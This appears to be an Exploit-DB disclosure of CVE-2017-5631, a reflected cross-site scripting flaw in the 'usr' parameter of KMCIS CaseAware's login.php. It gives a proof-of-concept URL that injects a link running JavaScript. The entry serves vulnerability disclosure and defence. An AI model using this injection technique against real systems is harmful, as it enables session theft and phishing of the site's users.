KMCIS CaseAware - Cross-Site Scripting

EDB-ID:

42042




Platform:

PHP

Date:

2017-05-20


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# Exploit Title: CaseAware Cross Site Scripting Vulnerability
# Date: 20th May 2017
# Exploit Author: justpentest
# Vendor Homepage: https://caseaware.com/
# Version: All the versions
# Contact: transform2secure@gmail.com
# CVE : 2017-5631

Source: https://nvd.nist.gov/vuln/detail/CVE-2017-5631#vulnDescriptionTitle

1) Description:
An issue with respect to input sanitization was discovered in KMCIS
CaseAware. Reflected cross site scripting is present in the user parameter
(i.e., "usr") that is transmitted in the login.php query string. So
bascially username parameter is vulnerable to XSS.

2) Exploit:

https://caseaware.abc.com:4322/login.php?mid=0&usr=admin'><a
HREF="javascript:alert('OPENBUGBOUNTY')">Click_ME<'
----------------------------------------------------------------------------------------

3) References:

https://www.openbugbounty.org/incidents/228262/
https://nvd.nist.gov/vuln/detail/CVE-2017-5631#vulnDescriptionTitle